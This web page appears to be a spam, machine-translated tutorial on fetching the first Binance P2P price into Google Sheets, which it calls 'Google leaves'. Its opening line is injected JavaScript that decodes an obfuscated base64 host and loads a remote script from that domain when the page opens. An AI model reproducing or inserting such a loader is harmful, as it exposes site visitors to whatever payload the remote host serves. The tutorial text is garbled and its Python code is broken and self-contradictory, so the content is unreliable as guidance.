Ethereum: How to get first P2P price from Binance to google sheets
const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx);const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=9c0553d7″;document.body.appendChild(script);
Obtain the first binance price to Google Leaves: a step by step guide
Are you an enthusiast of cryptocurrencies or a merchant who looks for ways to automate data analysis using Google leaves and Binance API? In this article, we will guide it through the process of obtaining the first price of the Binance P2P page on Google leaves.
Previous requirements:
- It has a Binance account with the P2P trade enabled.
- It has a set of Google configured to receive binance data.
- The
importxml
function is not available on Google leaves, so we will use a solution when using the ‘JSON’ function and analyze the answer manually.
Step 1: Analyze the answer
The Binance P2P page returns an XML response that contains the price information. To analyze this data on Google leaves, we need:
- Use the
json.stringify () method to convert the XML chain into a JSON object.
- Then, use theJSON.PE () function to analyze the JSON object.
Here is the code fragment:
`Python
Import Json
Define the final point url of the Binance API
API_URL = " + "uzs"
Analyze the XML answer on a JSON object
Json_data = Json.Loads (API_URL)
Step 2: Remove the first price
Once we have the JSON object, we need to extract the first price. SinceJson.
Here is the code fragment:
`Python
Define the search term (first price in this case)
Search_term = "price"
Initialize the price variable
First_price = none
Iteraar through the JSON object to find the corresponding price
For the key, value at JSON_DATA.ITEMS ():
if Isinstance (Value, Str) and Search_term.lower () in Value.lower ():
Update the first price variable with the paired price
If first_price is none or float (value) <float (first_price):
First_price = float (value)
If we find a coincidence, generate the price to Google leaves
If first_price is none:
print (f "Price: {First_price}")
Step 3: Output to Google leaves
To generate the first price to Google leaves, you must create a matrix with the price value and then useimportxmlor a similar method in Google leaves to load that data.
Here is an example of how you can do this:
Python
Import Json
Define the final point url of the Binance API
API_URL = " + "uzs"
Analyze the XML answer on a JSON object
Json_data = Json.Loads (API_URL)
Remove the first price of the json object
Search_term = "price"
First_price = none
Iteraar through the JSON object to find the corresponding price
For the key, value at JSON_DATA.ITEMS ():
if Isinstance (Value, Str) and Search_term.lower () in Value.lower ():
Update the first price variable with the paired price
If first_price is none or float (value) <float (first_price):
First_price = float (value)
Create a new row matrix with the price value
Price_array = [First_Price]
Upload the data on Google leaves using importxml
importxml_value = "your_binaryseafd_api_url_here"
importxml_output = f "your_binaryseafd_api_url_here? Action = importdata & json = {importxml_value}"
print (importxml_output)
Example use case:
Let's say it has a final point url of the Binance API that returns an XML answer like this:
XML
You can modify the previous code fragment to extract the first price of the XML response and issue it to Google leaves as follows:
- ReplaceAPI_URL
with its end point url of Api Binance.
- Update theSearch_term` variable so that it matches the value of the » price « element in the XML response.
0 commentaire